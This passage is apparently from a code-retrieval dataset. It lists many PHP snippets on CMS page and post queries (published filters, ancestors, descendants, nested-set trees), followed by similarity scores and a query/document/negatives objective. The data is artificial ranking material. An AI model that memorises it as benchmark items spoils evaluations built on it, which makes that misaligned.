$offset . ',' . $number;\n\n//\techo $query;\n\t\n\t$pages = $wpdb->get_results($query);\n\n\tif ( empty($pages) ) {\n\t\t$pages = apply_filters('get_pages', array(), $r);\n\t\treturn $pages;\n\t}\n\n\t// Update cache.\n\tupdate_page_cache($pages);\n\n\tif ( $child_of || $hierarchical )\n\t\t$pages = & get_page_children($child_of, $pages);\n\n\tif ( !empty($exclude_tree) ) {\n\t\t$exclude = array();\n\n\t\t$exclude = (int) $exclude_tree;\n\t\t$children = get_page_children($exclude, $pages);\n\t\t$excludes = array();\n\t\tforeach ( $children as $child )\n\t\t\t$excludes[] = $child->ID;\n\t\t$excludes[] = $exclude;\n\t\t$total = count($pages);\n\t\tfor ( $i = 0; $i < $total; $i++ ) {\n\t\t\tif ( in_array($pages[$i]->ID, $excludes) )\n\t\t\t\tunset($pages[$i]);\n\t\t}\n\t}\n\n\t$cache[ $key ] = $pages;\n\twp_cache_set( 'get_pages', $cache, 'posts' );\n\n\t$pages = apply_filters('get_pages', $pages, $r);\n\n\treturn $pages;\n}", "public static function drafts()\n {\n return self::where('published', '=', false)->get();\n }", "function get_unpublished_post_statuses() {\n $status = [ 'draft', 'pending', 'auto-draft'/*, 'future' */ ];\n\n /**\n * Filter the unpublished post statuses.\n *\n * @param array $status List of non-public post statuses.\n */\n return apply_filters( 'unpublished_post_statuses', $status );\n }", "public function getSiblings($unpublished = false) {\n\t\tif ($this->siblings === null) {\n\t\t\t$list = new Document\\Listing();\n\t\t\t$list->setUnpublished($unpublished);\n\t\t\t// string conversion because parentId could be 0\n\t\t\t$list->addConditionParam(\"parentId = ?\", (string)$this->getParentId());\n\t\t\t$list->addConditionParam(\"id != ?\", $this->getId());\n\t\t\t$list->setOrderKey(\"index\");\n\t\t\t$list->setOrder(\"asc\");\n\t\t\t$this->siblings = $list->load();\n\t\t}\n\t\treturn $this->siblings;\n\t}", "function descendants() {\n\t\t/*\n\t\tget all children of this article\n\t\tfor each child, run the same query..\n\t\t*/\n\t\t$childs = $this->children();\n\t\t$subChilds = array();\n\t\tforeach ($childs as $oneChild) {\n\t\t\t$subChilds = array_merge($subChilds, $oneChild->descendants());\n\t\t}\n\t\t$childs = array_merge($childs, $subChilds);\n\t\tpb_pqp_log_speed(\"article descendants()\");\n\t\treturn $childs;\n\t}", "public function ancestorsGetDescendants($exclude_this=true)\r\n {\r\n $model = (new static)->setState('filter.path_begins_with', $this->path);\r\n if ($exclude_this) {\r\n \t$model->setState('filter.ids_excluded', array( $this->id ));\r\n } \r\n $items = $model->getItems();\r\n\r\n return $items;\r\n }", "public function getNodeAscendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft <= :lft AND c.rgt >= :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function getDescendants()\n {\n if (!isset($this->_objects['Descendants'])) {\n $this->_objects['Descendants'] = $this->_getRepository()->fetchDescendantsByParent($this->id);\n }\n\n return $this->_objects['Descendants'];\n }", "public function getArchivedEvents()\n {\n $qb = $this->entityManager->getRepository(Event::class)->createQueryBuilder('e')\n ->where('e.deleted = 1')\n ->orderBy('e.eventStartDate', 'DESC');\n return $qb->getQuery();\n }", "function five_get_ancestors(){\n\t\t\n\t\tglobal $wpdb;\n\t\t$result = $wpdb->get_results(\"SELECT ID, post_title, guid FROM $wpdb->posts WHERE post_type = 'page' AND post_parent = 0 AND post_status = 'publish'\");\n\t\treturn $result;\n\t\t}", "function get_list_of_non_published_files() {\n $result = $this->pdo->query('SELECT * FROM files WHERE publishedfile = 0 ORDER BY date DESC');\n return $result;\n }", "public function published()\n {\n $published = [];\n\n foreach ($this->items as $path => $slug) {\n $page = $this->pages->get($path);\n if ($page !== null && $page->published()) {\n $published[$path] = $slug;\n }\n }\n $this->items = $published;\n\n return $this;\n }", "public function getPublishedChoices()\n\t{\n\t\treturn array(1=>'Published',0=>'Unpublished');\n\t}", "function mongo_node_filters($entity_type) {\n $filters = array(\n 'status' => array(\n 'any' => array(\n 'label' => 'Any',\n ),\n 'published' => array(\n 'label' => 'Published',\n 'filters' => array(\n array(\n '#type' => 'status',\n '#value' => 1,\n '#callback' => 'propertyCondition',\n ),\n ),\n ),\n 'not_published' => array(\n 'label' => 'Not published',\n 'filters' => array(\n array(\n '#type' => 'status',\n '#value' => 0,\n '#callback' => 'propertyCondition',\n ),\n ),\n ),\n ),\n 'type' => array(\n 'any' => array(\n 'label' => 'Any',\n ),\n ),\n );\n\n $set = mongo_node_settings();\n $bundles = $set[$entity_type]['bundles'];\n foreach ($bundles as $bundle_name => $bundle_settings) {\n $filters['type'][$bundle_name] = array(\n 'label' => $bundle_settings['label'],\n 'filters' => array(\n array(\n '#type' => 'bundle',\n '#value' => $bundle_name,\n '#callback' => 'entityCondition',\n ),\n ),\n );\n }\n return $filters;\n}", "public function getDescendants($idEntry = 0);", "public function getActivePages()\n {\n $qb = $this->getEntityManager()->createQueryBuilder();\n $qb->select(['p'])\n ->from('ArcmediaCmsBundle:ArcmediaPage', 'p')\n ->where('p.active = :state')\n ->orderBy('p.order', 'ASC')\n ->setParameter('state',true)\n ;\n\n return $qb->getQuery()->getResult();\n }", "public function getChildrenForArbo()\n {\n $filtreEnfant = ' and 1=1 ';\n $oUtilisateur = Utilisateur::getConnected();\n if ($oUtilisateur && ! $oUtilisateur->isRoot()) {\n if ((sizeof(self::getForbiddenID($this->mode)) > 0)) {\n $filtreEnfant .= \" and ID_PAGE not in (\" . implode(',', self::getForbiddenID($this->mode)) . \")\";\n }\n }\n\n return $this->getChildren($filtreEnfant);\n }", "public static function published()\n {\n return (new static )->newQueryWithoutScope(new ContentPublishingScope())->published();\n }", "public static function getFeedItems()\n {\n return Post::where('published', true)->get();\n }", "public function scopePublished($query)\n {\n return $query->where(\"status\", \"=\", \"1\");\n }", "public function visible()\n {\n $visible = [];\n\n foreach ($this->items as $path => $slug) {\n $page = $this->pages->get($path);\n if ($page !== null && $page->visible()) {\n $visible[$path] = $slug;\n }\n }\n $this->items = $visible;\n\n return $this;\n }", "public function children() {\n return $this->descendants(1);\n }", "function get_list_of_published_files() {\n $result = $this->pdo->query('SELECT * FROM files WHERE publishedfile = 1 ORDER BY date DESC');\n return $result;\n }", "public function get_all()\n {\n $all = array();\n\n foreach (array(PUBLISHER_STATUS_OPEN, PUBLISHER_STATUS_DRAFT) as $status)\n {\n foreach(ee()->publisher_model->languages as $lang_id => $data)\n {\n $all[$status][$lang_id] = ee()->publisher_site_pages->get($lang_id, FALSE, $status, TRUE);\n }\n }\n\n return $all;\n }", "public function getPublishedPosts(){\n $query = \"SELECT * FROM `posts` WHERE `published`='1';\";\n $result = $this->executeQuery($query);\n $result = $result->fetchAll();\n\n if($result != null && count($result)>0){\n return $result;\n } else {\n return null;\n }\n }", "public function countDescendants();", "function getPublishedPostsOnly() {\n\tglobal $conn;\n\t$sql = \"SELECT * FROM posts WHERE published=true order by created_at DESC LIMIT 3\";\n\t$result = mysqli_query($conn, $sql);\n\n\t// fetch all posts as an associative array called $posts\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\t$final_posts = array();\n\tforeach ($posts as $post) {\n\t\t$post['topic'] = getPostTopic($post['id']); \n\t\tarray_push($final_posts, $post);\n\t}\n\treturn $final_posts;\n}", "function descendants() {\n\t\t$out = array();\n\t\t$this->get_descendants($out);\n\t\treturn $out;\n\t}", "public function scopePublished($query)\n {\n return $query->where('status_id', Status::getPublished()->id);\n }", "public function nonPublished()\n {\n $published = [];\n\n foreach ($this->items as $path => $slug) {\n $page = $this->pages->get($path);\n if ($page !== null && !$page->published()) {\n $published[$path] = $slug;\n }\n }\n $this->items = $published;\n\n return $this;\n }", "function getSubscribedEntities()\n\t{\n\t\t$options = array(\n\t\t\t'type' => 'user',\n\t\t\t'metadata_names' => 'isSubscribedNewsletter',\n\t\t\t'metadata_values' => true,\t\n\t\t\t'limit' => 9999999999,\n\t\t);\n\t\treturn elgg_get_entities_from_metadata($options);\n\t}", "public function ancestors(): Collection\n {\n $post = $this->wpPost;\n if (!$post->post_parent) {\n return new Collection(); // do not have any ancestors\n }\n\n $ancestor = get_post($post->post_parent);\n $ancestors = [];\n $ancestors[] = $ancestor;\n\n while ($ancestor->post_parent) {\n $ancestor = get_post($ancestor->post_parent);\n array_unshift($ancestors, $ancestor);\n }\n\n $ancestors = array_map(function ($post) {\n return new static($post);\n }, $ancestors);\n\n $ancestors = new Collection($ancestors);\n\n return $this->setAttribute(__METHOD__, $ancestors);\n }", "public function scopePublished($query)\n {\n return $query->where('status', 'PUBLISHED');\n }", "public function getNumberDescendants();", "public function published()\n {\n return $this->state(function (array $attributes) {\n return [\n 'status' => 'Published',\n ];\n });\n }", "public function scopePublished($query)\n {\n return $query->where('status', '=', 'approved');\n }", "public function children()\n\t{\n\t\treturn $this->descendants(1);\n\t}", "public function testSuccessfulGetAttendants_NoAttendants()\n {\n $this->ajaxGet('/wap/' . self::ROUTE_PREFIX . '/approved/list?page=1')\n ->seeJsonContains([\n 'code' => 0,\n ]);\n\n $result = json_decode($this->response->getContent(), true);\n Assert::assertEquals(0, $result['pages']);\n Assert::assertEquals([], $result['attendants']);\n }", "public function getNodes():ActiveQuery\n {\n return $this\n ->hasMany(Node::class, ['id' => 'nodeId'])\n ->viaTable(NodeBloc::tableName(), ['blocId' => 'id']);\n }", "public function scopePublished($query)\n {\n return $query->where('status', 'published');\n }", "public function scopePublished($query)\n {\n return $query->where('published_at', '!=', null);\n }", "function _syndication_server_taxonomy_get_enabled_vocabs($pubkey) {\n\n // Validate the public key\n ctools_include('syndication_server.utility', 'syndication_server', 'inc');\n _syndication_server_authenticate_client_public_key($_SERVER['HTTP_REFERER'], $pubkey);\n\n $vocabs = array();\n $enabled_vocabs = variable_get('syndication_enabled_vocabularies',array());\n $keys = array();\n\n // Put machine names into an array where enabled $v == 1\n foreach($enabled_vocabs as $k => $v) {\n if($v) { $keys[] = $k; }\n }\n\n // ALLOW OTHER MODULES TO ADJUST THE Machine Name ARRAY\n module_invoke_all('sss_query_alter', 'syndication_taxonomy_enabled_vocabs', null, $keys);\n\n foreach($keys as $machine_name) {\n $tmp = taxonomy_vocabulary_machine_name_load($machine_name);\n $vocabs[$tmp->vid] = $tmp;\n }\n\n\n return $vocabs;\n}", "public function testDescendants() {\n $decendants = $this->traverser->descendants('Category:Root category', function ($pageInfo, $parentCatName) {\n if ($parentCatName === 'Category:Root category') {\n $this->assertEquals('Test page A1', $pageInfo['title']);\n }\n if ($parentCatName === 'Category:Sub category C') {\n $this->assertEquals('Test page C1', $pageInfo['title']);\n }\n });\n $this->assertCount(4, $decendants);\n }", "public function createPublishedSortedQueryBuilder()\n {\n return $this->createPublishedQueryBuilder()\n ->sort('publishedAt', 'desc');\n }", "public function getAll($excludeUnpublished = false)\n {\n $this->qb = $this->getInstance();\n\n //If $excludeUnpublished === true, we exclude the non published results\n if ($excludeUnpublished) {\n $this->qb\n ->andWhere($this->mainAlias.'.status = :status')\n ->orWhere($this->mainAlias.'.status = :scheduled_status AND '.$this->mainAlias.'.publishedAt > :publicationDate')\n ->setParameter('status', PageStatus::PUBLISHED)\n ->setParameter('scheduled_status', PageStatus::SCHEDULED)\n ->setParameter('publicationDate', new \\DateTime());\n }\n\n return $this;\n }", "function pages_query($status = null) {\r\n\t\r\n\tglobal $db;\r\n\r\n\tif (isset($status)) {$get_active = ' WHERE publish = '. $status . ' ';} else {$get_active = ' ';}\r\n\t\r\n\t$query = $db->query(sprintf(\"SELECT * FROM `pages` %s \" , $get_active));\r\n\t\r\n\tif ($query->num_rows > 0 ) {\r\n\t\r\n\t\twhile ( $result = $query->fetch_assoc() ) {\r\n\t\t\t\t\t\t\t\r\n\t\t\t$rows[] = $result;\r\n\t\t\t\t\t\t\r\n\t\t}\r\n\t}\r\n\r\n\treturn $rows;\r\n\t\r\n}", "public function getPublishedPages(string $parent = \"\") {\n $pages = Pages::publishedPages($parent)->paginate(Pages::getPageSize());\n\n return response()->json($pages);\n }", "public function has_published_pages()\n {\n }", "public function findNodeDescendantsFilteredByDepth(NodeInterface $node, $depth = 1)\n {\n $qb = $this->getNodeDescendantsQueryBuilder($node);\n $qb->andWhere('c.lvl - ' . $node->getLevel() . ' <= :d')\n ->setParameter('d', $depth);\n\n return $qb->getQuery()->getResult();\n }", "function getOrganisationTree($node, $filter)\n{\n\t$tree = array();\n\tforeach($node->all(\"http://www.w3.org/ns/org#hasSubOrganization\") as $child)\n\t{\n\t\t$subtree = getOrganisationTree($child, $filter);\n\t\tif(count($subtree) > 0)\n\t\t{\n\t\t\tforeach($subtree as $k => $v)\n\t\t\t{\n\t\t\t\t$tree[sid((string)$node)]['children'][$k] = $v;\n\t\t\t}\n\t\t}\n\t}\n\tif(count($tree) > 0 || in_array(sid((string)$node), $filter))\n\t{\n\t\t@uasort($tree[sid((string)$node)]['children'], 'sortOrgTree');\n\t\t$tree[sid((string)$node)]['name'] = $node->label();\n\t}\n\treturn $tree;\n}", "function opensky_get_searchable_subcollections ($pid) {\n $descendants = opensky_get_subcollections_recursive($pid);\n $tree = array();\n foreach($descendants as $child) {\n if (!opensky_has_subcollections($child)) {\n $tree[] = $child;\n }\n }\n return $tree;\n}", "private function allDescendants()\n {\n return isset($this->query['from'][0]['allDescendants']) && $this->query['from'][0]['allDescendants'];\n }", "public function testSuccessfulListPendingAttendants()\n {\n $this->ajaxGet('/' . self::ROUTE_PREFIX . '/pending/list?page=1&size=2')\n ->seeJsonContains([\n 'code' => 0,\n ]);\n }", "public function get_all(): array\n {\n return $this->nodes;\n }", "public function getNodes();", "public function hasDescendants();", "public function findAllPublishedPosts()\n {\n $posts = [];\n $query = \"\"\n . \"SELECT post.*, user.name as author \"\n . \"FROM post \"\n . \"LEFT JOIN user ON post.id_user = user.id \"\n . \"WHERE status > 0 \"\n . \"ORDER BY post.date_created DESC\";\n $result = $this->db->query($query);\n if ($result) {\n // Cycle through results\n while ($row = $result->fetch_assoc()) {\n $posts[] = [\n 'id' => $row['id'],\n 'title' => $row['title'],\n 'content' => $row['content'],\n 'author' => $row['author'],\n 'id_user' => $row['id_user'],\n 'date_created' => $row['date_created'],\n 'tags' => '' //$row['firstname']\n ];\n }\n // Free result set\n $result->close();\n } else {\n echo($this->db->error);\n }\n return $posts;\n }", "public function findAllPublishedPaginated($perPage = 10)\n {\n return $this->model\n ->with(static::$relations)\n ->where('is_published', 1)\n ->orderBy('is_top', 'DESC')\n ->orderBy('created_at', 'DESC')\n ->paginate($perPage);\n }", "public function testSuccessfulListApprovedAttendants_NoAttendants()\n {\n $this->ajaxGet('/' . self::ROUTE_PREFIX . '/approved/list?page=1&size=2')\n ->seeJsonContains([\n 'code' => 0,\n ]);\n\n $result = json_decode($this->response->getContent(), true);\n Assert::assertEquals(0, $result['pages']);\n Assert::assertEquals([], $result['attendants']);\n }", "public function published()\n\t{\n\t\t$record = $this->load();\n\n\t\tif ( !is_array( $record ) )\n\t\t\treturn array();\n\n\t\tforeach ( $record as $property => $value )\n\t\t\tif ( !$this->isPublic( $property, $value, $record, false ) )\n\t\t\t\tunset( $record[$property] );\n\n\t\tif ( is_array( static::$relations ) )\n\t\t\tforeach ( static::$relations as $name => $definition ) {\n\t\t\t\t$value = static::relation( $name )\n\t\t\t\t\t->bindNodeOnItem( 0, $this )\n\t\t\t\t\t->listRelated();\n\n\t\t\t\tif ( $this->isPublic( $name, $value, $record, true ) )\n\t\t\t\t\t$record[$name] = $value;\n\t\t\t}\n\n\t\treturn $record;\n\t}", "public function createPublishedQueryBuilder()\n {\n return $this->createQueryBuilder()\n ->field('isPublished')->equals(true);\n }", "function get_hierarchy_filter($setting,$optparent=null,$branchparent=0,$published=null,$maxlevel=9999)\n {\n $data=$this->_prepareData(null,$optparent,$published) ;\n $children=$this->_make_relation($data) ;\n // echo \"<br>---list Child----<br>\"; print_r($children);\n $list = $this->_filter_recurse($branchparent, $children, '', $maxlevel,0,'',$setting);\n //echo \"<br>---list ----<br>\"; print_r($list);\n return $list;\n }", "public function scopePublished($query)\n {\n return $query->where('status', SpaceStatus::PUBLISHED());\n }", "public function scopePublished($query){ \n \t$query->where('published_at','<=',Carbon::now());\n }", "public function getPublishedPosts() {\r\n $sql = 'SELECT p.ID as ID, post_title, post_subtitle,\r\n username, name, word_count, b.status as bookmark_status,\r\n UNIX_TIMESTAMP(post_date) as post_date \r\n FROM posts p JOIN users u ON (post_author=u.id) \r\n LEFT JOIN bookmarks b ON (b.post_id=p.ID AND b.user_id=?)\r\n WHERE post_status = \"publish\" \r\n ORDER BY post_date DESC LIMIT 0, 10';\r\n $sth = $this->db->prepare($sql);\r\n $sth->execute(array($GLOBALS['user']['id']));\r\n\r\n $rows = array();\r\n while($row = $sth->fetch()) {\r\n $row['post_date_supertag'] = date('j<b\\r>M', $row['post_date']);\r\n $row['reading_time'] = ceil($row['word_count'] / WORDS_PER_MINUTE);\r\n\r\n $rows[] = $row;\r\n }\r\n\r\n return $rows;\r\n }", "public function scopePublished($query)\n {\n return $query->where('status', '=', '1')\n ->whereDate('published_at', '<=', Carbon::today()->toDateString());\n }", "public function getApproved(Filter $filter): Collection;", "private function queryNodesStory()\n {\n //node.nid is the primary key, so all entries are unique by nid\n $result = $this->link->query(\"SELECT `node`.`nid` AS `node.nid`,\n `node`.`vid` AS `node.vid`,\n `node`.`type` AS `node.type`,\n `node`.`language` AS `node.language`,\n `node`.`title` AS `node.title`,\n `node`.`uid` AS `node.uid`,\n `node`.`status` AS `node.status`,\n `node`.`created` AS `node.created`,\n `node`.`changed` AS `node.changed`,\n `node`.`comment` AS `node.comment`,\n `node`.`promote` AS `node.promote`,\n `node`.`moderate`,\n `node`.`sticky`,\n `node`.`tnid`,\n `node`.`translate`,\n `node_revisions`.`title` AS `revisions.title`,\n `node_revisions`.`body` AS `revisions.body`,\n `node_revisions`.`teaser` AS `revisions.teaser`,\n `node_revisions`.`log`,\n `node_revisions`.`timestamp`,\n `node_revisions`.`format` AS `revisions.format`,\n `users`.`name` AS `user.name`\n FROM `node`\n LEFT JOIN `node_revisions`\n ON `node`.`nid`=`node_revisions`.`nid`\n AND `node`.`vid`=`node_revisions`.`vid`\n LEFT JOIN `users`\n ON `node`.`uid`=`users`.`uid`\n WHERE `node`.`type`='story'\n ORDER BY `node`.`title` ASC\");\n\n //$cyot_nodes = array();\n while ($row = $result->fetch_assoc()) {\n\n // get all the terms\n $terms = $this->link->query(\"SELECT `term_node`.`nid`,\n `term_node`.`vid`,\n `term_node`.`tid`,\n `term_data`.`name`,\n `term_data`.`description`,\n `term_data`.`weight`\n FROM `term_node`\n LEFT JOIN `term_data`\n ON `term_node`.`tid`=`term_data`.`tid`\n WHERE `term_node`.`nid` = \" . $row['node.nid'] . \"\n ORDER BY `term_data`.`name` ASC\");\n $terms_a = array();\n while ($r_t = $terms->fetch_assoc()) {\n $terms_a[] = array(\n 'name' => $r_t['name'],\n 'description' => $r_t['description']\n );\n }\n\n $this->nodelist_story[] = new CNodeStory($row, $terms_a);\n }\n }", "public function publishedArticles()\n {\n return Courses::loadAllPublished();\n }", "function getPublishedPosts() {\n\tglobal $conn;\n\t$sql = \"SELECT * FROM posts WHERE published=true order by created_at DESC\";\n\t$result = mysqli_query($conn, $sql);\n\n\t// fetch all posts as an associative array called $posts\n\t$posts = mysqli_fetch_all($result, MYSQLI_ASSOC);\n\t$final_posts = array();\n\tforeach ($posts as $post) {\n\t\t$post['topic'] = getPostTopic($post['id']); \n\t\tarray_push($final_posts, $post);\n\t}\n\treturn $final_posts;\n}", "public function getFlattenItems()\n {\n return $this->items()->active()->where('is_active', 1)->defaultOrder()->get()->toFlatTree();\n }", "function listPagesFilterContent( $the_content ) {\n\tif ( strlen( trim( $the_content ) ) == 0 ) {\n\t\t$lp_post = $GLOBALS['post'];\n\t\t$args = array( 'child_of' => $lp_post->ID );\n\t\twp_list_pages( $args );\n\t}\n\treturn $the_content;\n}", "public function getChildren() {\n $childNodes = $this->getNode()->getChildren();\n $children = array();\n foreach ($childNodes as $childNode) {\n $child = $childNode->getPage($this->getLang());\n if ($child) {\n $children[] = $child;\n }\n }\n return $children;\n }", "public function getChildrenByParent($parent, $offline=false) {\n\t\t\tglobal $db;\n\t\t\t$query = \"SELECT guid, title FROM pages WHERE parent = '$parent' \";\n\t\t\tif (!$offline) $query.=\"AND offline=0\";\n\t\t\t//print \"$query<br>\\n\";\n\t\t\treturn $db->get_results($query);\n\t\t}", "public function listAllPublishers(): array {\n\t\t$publishers = [];\n\t\t$q = $this->pdo->query(\"SELECT `Publisher` from `articles` GROUP BY `Publisher`\");\n\t\tforeach($q->fetchAll(PDO::FETCH_ASSOC) as $a){\n\t\t\tif(!in_array($a[\"Publisher\"], $publishers, true)){\n\t\t\t\t$publishers[] = $a[\"Publisher\"];\n\t\t\t}\n\t\t}\n\t\tsort($publishers);\n\t\treturn $publishers;\n\t}", "public function scopeIsPublished($query)\n {\n return $query->where('status', 'Published');\n }", "public function scopePublished($query)\n {\n return $query->where('published', 1);\n }", "public function getDescendants(array $columns = ['*']);", "public function getChildNodes() {}", "public function getChildNodes() {}", "public function scopePublished($query) {\n return $query->where('published_at', '<=', now());\n }", "function get_others_unpublished_posts($user_id, $type = 'any')\n {\n }", "public function findOnlyPublished($id);", "public function getArticles()\n {\n return NewsArticle::get()->filter('ParentID', $this->AllChildren()->column('ID') ?: null);\n }", "public function childrenAndDrafts()\n {\n return $this->children()->merge($this->drafts());\n }", "public function getPageQuery()\n {\n $query = $this->getEntityManager()\n ->createQuery('\n SELECT content, document, image FROM ManhattanContentBundle:Content content\n LEFT JOIN content.documents document\n LEFT JOIN content.images image\n WHERE content.publishState = :publishState\n ORDER BY content.root, content.lft ASC'\n )->setParameter('publishState', $this->getPublishState());\n\n return $query;\n }", "public function scopeOnlyPublished($query)\n {\n return $query->where('published', 1);\n }" ]
[ "0.59303397", "0.5769526", "0.572744", "0.5537261", "0.5366998", "0.5162558", "0.5161066", "0.51442534", "0.5068894", "0.5001943", "0.49399307", "0.49125707", "0.4904975", "0.49000794", "0.48306423", "0.48306128", "0.4817847", "0.48056942", "0.48042446", "0.4794809", "0.4784965", "0.47685516", "0.4766103", "0.47547013", "0.47523734", "0.47514403", "0.47459882", "0.4739644", "0.47386235", "0.47287157", "0.47216162", "0.4706574", "0.4698174", "0.46980798", "0.4690686", "0.46798003", "0.46770754", "0.46737158", "0.46720886", "0.46709782", "0.4667591", "0.46507382", "0.46231815", "0.4618414", "0.45959586", "0.45695463", "0.45653957", "0.4559745", "0.4554567", "0.45506874", "0.45494962", "0.45392546", "0.45204368", "0.45160997", "0.45145077", "0.45139152", "0.45090267", "0.45047805", "0.45047674", "0.44959486", "0.4493776", "0.44895843", "0.4482276", "0.4467347", "0.44595313", "0.44534355", "0.44526044", "0.44493037", "0.44411278", "0.4433705", "0.4431131", "0.44232973", "0.4410318", "0.44071066", "0.44036037", "0.4402044", "0.4388769", "0.43827996", "0.43780583", "0.4376565", "0.43749303", "0.43705568", "0.4368541", "0.43622118", "0.43592942", "0.4354381", "0.43539846", "0.43531066", "0.4352359", "0.43420362", "0.434017", "0.43294773", "0.432916", "0.43290517", "0.4326771", "0.432668", "0.432633", "0.43263298", "0.43253425", "0.43221354" ]
0.72250086
0
Returns the Query Builder to select node ascendants.
public function getNodeAscendantsQueryBuilder(NodeInterface $node) { $qb = $this->getNodeTreeQueryBuilder(); $qb->where('c.lft <= :lft AND c.rgt >= :rgt') ->setParameter('lft', $node->getLeft()) ->setParameter('rgt', $node->getRight()); return $qb; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getNodeTreeQueryBuilder()\n {\n $qb = $this->repository\n ->createQueryBuilder('c')\n ->select('c, p')\n ->leftJoin('c.parent', 'p')\n ->orderBy('c.lft');\n\n return $qb;\n }", "public function scopeDepthFirst(Builder $query): Builder\n {\n $sql = $query->getExpressionGrammar()->compileOrderByPath();\n\n return $query->orderByRaw($sql);\n }", "public function getNodeDescendantsQueryBuilder(NodeInterface $node)\n {\n $qb = $this->getNodeTreeQueryBuilder();\n $qb->where('c.lft > :lft AND c.rgt < :rgt')\n ->setParameter('lft', $node->getLeft())\n ->setParameter('rgt', $node->getRight());\n\n return $qb;\n }", "public function getSearchableEntitiesQuery(): \\Illuminate\\Database\\Eloquent\\Builder\n {\n return (new static())->orderBy($this->getKeyName());\n }", "public function scopeBreadthFirst(Builder $query): Builder\n {\n return $query->orderBy($this->getDepthName());\n }", "public function getQueryBuilder()\n {\n if (null === $this->queryBuilder) {\n\n $queryBuilder = $this->generator->list->query_builder;\n\n if ( null !== $this->generator->list->query_builder\n && false !== $this->generator->list->query_builder\n && method_exists($this->getRepository(), $queryBuilder)) {\n $this->queryBuilder = $this->getRepository()->$queryBuilder();\n } else {\n $this->queryBuilder = $this->getRepository()->createQueryBuilder('e');\n }\n\n foreach ($this->sort as $field => $order) {\n $this->queryBuilder->addOrderBy('e.' . $field, $order);\n }\n\n $this->processFilters();\n\n }\n return $this->queryBuilder;\n }", "protected function query() {\n $query = Database::getConnection('default', $this->sourceConnection)\n ->select('og_ancestry', 'oga');\n // only load JUST the type of nodes we need\n $query->join('node', 'n', 'oga.nid = n.nid AND n.type = :type', array(':type' => $this->sourceType));\n $query->condition('group_nid', 0, '>') // handle 0 values\n ->fields('oga', array('nid', 'group_nid'));\n return $query;\n }", "public function getNodes():ActiveQuery\n {\n return $this\n ->hasMany(Node::class, ['id' => 'nodeId'])\n ->viaTable(NodeBloc::tableName(), ['blocId' => 'id']);\n }", "public function query() {\n\n // new, more inclusive\n $query = parent::query();\n // Add in book parent child relationships.\n $query->leftJoin('book', 'b', 'n.nid = b.nid');\n $query->addField('b', 'bid', 'book_id');\n $query->leftJoin('menu_links', 'ml', 'b.mlid = ml.mlid');\n $query->addField('ml', 'weight', 'book_weight');\n $query->addField('ml', 'mlid', 'mlid');\n $query->addField('ml', 'plid', 'plid');\n $query->orderBy('mlid');\n\n // dpq($query);\n return $query;\n }", "public function toBase() : QueryBuilder\n {\n return $this->applyScopes()->getQuery();\n }", "protected function _getBrowseQuery()\n {\n if (!$this->_browseQuery) {\n $query = $this->_getTable()->select();\n \n $query = $this->_appendOrderByClause($query);\n \n $this->_browseQuery = $query;\n }\n \n return $this->_browseQuery; \n }", "protected function toQuery()\n\t{\n\t\treturn $this->mapper()->all($this->entityName(), $this->conditions())->order($this->relationOrder())->first();\n\t}", "public function getDescendants();", "public function getNodesQueryBuilder($parentId=null)\n {\n // Get class metadata\n $metadata = $this->getClassMetadata();\n\n // Create the query builder\n $queryBuilder = $this->_em->createQueryBuilder();\n\n $queryBuilder\n ->select('node')\n ->from($metadata->name, 'node');\n\n // Get the name of the parent field\n $parentColumn = $metadata->closureTree['parent']['fieldName'];\n\n if (!$parentId) {\n $queryBuilder->where('node.'. $parentColumn .' IS NULL');\n } else {\n $queryBuilder->where('node.'. $parentColumn .' = :parentId')->setParameter('parentId', $parentId);\n }\n\n return $queryBuilder;\n }", "public function getCollectionQuery(): Builder;", "protected function toQuery() {\n\t\t$query = $this->mapper()->all($this->entityName(), $this->conditions())->order($this->relationOrder());\n\t\t$query->snapshot();\n\t\treturn $query;\n\t}", "public function ancestorsGetDescendants($exclude_this=true)\r\n {\r\n $model = (new static)->setState('filter.path_begins_with', $this->path);\r\n if ($exclude_this) {\r\n \t$model->setState('filter.ids_excluded', array( $this->id ));\r\n } \r\n $items = $model->getItems();\r\n\r\n return $items;\r\n }", "public function getQuery() : QueryBuilder\n {\n return $this->query;\n }", "public function queryBuilder();", "public function queryBuilder();", "public function getChildrenQuery()\n {\n return null;\n }", "public function buildSortQuery(): Builder\n {\n return static::query()->where('repository_id', $this->repository_id);\n }", "public function getDescendants()\n {\n if (!isset($this->_objects['Descendants'])) {\n $this->_objects['Descendants'] = $this->_getRepository()->fetchDescendantsByParent($this->id);\n }\n\n return $this->_objects['Descendants'];\n }", "public function getChildrenQuery();", "public function getDescendants(BaseObject $node, $peer_method = 'doSelect', Criteria $c = null)\n {\n $descendants = array();\n\n if (!$node->isLeaf())\n {\n if(!$c)\n {\n $c = new Criteria();\n }\n $c->addAnd(self::getColumnConstant(get_class($node), 'left'), $node->getLeftValue(), Criteria::GREATER_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'right'), $node->getRightValue(), Criteria::LESS_THAN);\n $c->addAnd(self::getColumnConstant(get_class($node), 'scope'), $node->getScopeIdValue(), Criteria::EQUAL);\n $c->addAscendingOrderByColumn(self::getColumnConstant(get_class($node), 'left'));\n\n $descendants = call_user_func(array(get_class($node->getPeer()), $peer_method), $c);\n }\n\n /*\n * Set node levels to prevent further queries to database\n */\n $prev = array($node->getRightValue());\n $i = 0;\n if (count($descendants))\n {\n $initial_level = $descendants[0]->getLevel() - 1;\n }\n\n foreach ($descendants as $cur)\n {\n // get back to the parent\n while ($cur->getRightValue() > $prev[$i])\n {\n $i--;\n }\n\n $cur->setLevel(++$i + $initial_level);\n $prev[$i] = $cur->getRightValue();\n }\n\n return $descendants;\n }", "public function getBuilder()\n {\n $builder = new Query\\Builder($this->getKeys());\n $builder->setVisitors([\n new Visitors\\EqVisitor($builder),\n new Visitors\\NotEqVisitor($builder),\n new Visitors\\GtVisitor($builder),\n new Visitors\\GteVisitor($builder),\n new Visitors\\LtVisitor($builder),\n new Visitors\\LteVisitor($builder),\n new Visitors\\CtVisitor($builder),\n new Visitors\\SwVisitor($builder),\n new Visitors\\EwVisitor($builder),\n new Visitors\\AndVisitor($builder),\n new Visitors\\OrVisitor($builder),\n new Visitors\\NotInVisitor($builder),\n new 